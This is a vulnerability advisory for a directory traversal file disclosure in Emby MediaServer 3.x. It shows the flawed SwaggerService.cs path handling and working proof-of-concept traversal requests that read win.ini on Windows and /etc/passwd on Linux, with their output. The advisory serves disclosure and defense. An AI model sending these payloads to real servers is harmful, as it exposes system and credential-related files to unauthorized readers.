157 lines
No EOL
4.5 KiB
Text
157 lines
No EOL
4.5 KiB
Text
Emby MediaServer 3.2.5 Directory Traversal File Disclosure Vulnerability
|
|
|
|
|
|
Vendor: Emby LLC
|
|
Product web page: https://www.emby.media
|
|
Affected version: 3.2.5
|
|
3.1.5
|
|
3.1.2
|
|
3.1.1
|
|
3.1.0
|
|
3.0.0
|
|
|
|
Summary: Emby (formerly Media Browser) is a media server designed to organize,
|
|
play, and stream audio and video to a variety of devices. Emby is open-source,
|
|
and uses a client-server model. Two comparable media servers are Plex and Windows
|
|
Media Center.
|
|
|
|
Desc: The vulnerability was confirmed on tested platforms depending on the version.
|
|
Version 3.1.0 is affecting Linux, Windows and Mac platforms. The 3.2.5 only affects
|
|
Windows release. Input passed via the 'swagger-ui' object in SwaggerService.cs is not
|
|
properly verified before being used to load resources. This can be exploited to disclose
|
|
the contents of arbitrary files via directory traversal attacks.
|
|
|
|
================================================================================
|
|
/Emby.Server.Implementations/HttpServer/SwaggerService.cs:
|
|
----------------------------------------------------------
|
|
|
|
using MediaBrowser.Controller;
|
|
using MediaBrowser.Controller.Net;
|
|
using System.IO;
|
|
using MediaBrowser.Model.IO;
|
|
using MediaBrowser.Model.Services;
|
|
|
|
namespace Emby.Server.Implementations.HttpServer
|
|
{
|
|
public class SwaggerService : IService, IRequiresRequest
|
|
{
|
|
private readonly IServerApplicationPaths _appPaths;
|
|
private readonly IFileSystem _fileSystem;
|
|
|
|
public SwaggerService(IServerApplicationPaths appPaths, IFileSystem fileSystem, IHttpResultFactory resultFactory)
|
|
{
|
|
_appPaths = appPaths;
|
|
_fileSystem = fileSystem;
|
|
_resultFactory = resultFactory;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Gets the specified request.
|
|
/// </summary>
|
|
/// <param name="request">The request.</param>
|
|
/// <returns>System.Object.</returns>
|
|
public object Get(GetSwaggerResource request)
|
|
{
|
|
var swaggerDirectory = Path.Combine(_appPaths.ApplicationResourcesPath, "swagger-ui");
|
|
|
|
var requestedFile = Path.Combine(swaggerDirectory, request.ResourceName.Replace('/', _fileSystem.DirectorySeparatorChar));
|
|
|
|
return _resultFactory.GetStaticFileResult(Request, requestedFile).Result;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Gets or sets the result factory.
|
|
/// </summary>
|
|
/// <value>The result factory.</value>
|
|
private readonly IHttpResultFactory _resultFactory;
|
|
|
|
/// <summary>
|
|
/// Gets or sets the request context.
|
|
/// </summary>
|
|
/// <value>The request context.</value>
|
|
public IRequest Request { get; set; }
|
|
}
|
|
}
|
|
|
|
================================================================================
|
|
|
|
|
|
Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
|
Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
|
|
Ubuntu Linux 14.04.5
|
|
MacOS Sierra 10.12.3
|
|
SQLite3
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2017-5403
|
|
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5403.php
|
|
|
|
SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098
|
|
|
|
|
|
22.12.2016
|
|
|
|
--
|
|
|
|
|
|
GET /emby/swagger-ui/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
|
|
|
|
HTTP/1.1 200 OK
|
|
X-UA-Compatible: IE=Edge
|
|
Access-Control-Allow-Headers: Content-Type, Authorization, Range, X-MediaBrowser-Token, X-Emby-Authorization
|
|
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
|
|
Access-Control-Allow-Origin: *
|
|
Vary: Accept-Encoding
|
|
ETag: "07bec80f76d20d26dd300a855219d321"
|
|
Cache-Control: public
|
|
Server: Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
|
|
Content-Type: application/octet-stream
|
|
Date: Thu, 22 Dec 2016 10:43:53 GMT
|
|
Content-Length: 403
|
|
Connection: close
|
|
|
|
; for 16-bit app support
|
|
[fonts]
|
|
[extensions]
|
|
[mci extensions]
|
|
[files]
|
|
[Mail]
|
|
MAPI=1
|
|
[MCI Extensions.BAK]
|
|
3g2=MPEGVideo
|
|
3gp=MPEGVideo
|
|
3gp2=MPEGVideo
|
|
3gpp=MPEGVideo
|
|
aac=MPEGVideo
|
|
adt=MPEGVideo
|
|
adts=MPEGVideo
|
|
m2t=MPEGVideo
|
|
m2ts=MPEGVideo
|
|
m2v=MPEGVideo
|
|
m4a=MPEGVideo
|
|
m4v=MPEGVideo
|
|
mod=MPEGVideo
|
|
mov=MPEGVideo
|
|
mp4=MPEGVideo
|
|
mp4v=MPEGVideo
|
|
mts=MPEGVideo
|
|
ts=MPEGVideo
|
|
tts=MPEGVideo
|
|
|
|
==========================
|
|
|
|
On Linux:
|
|
|
|
http://127.0.0.1/%2femby%2fswagger-ui%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
|
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
|
sync:x:4:65534:sync:/bin:/bin/sync
|
|
...
|
|
... |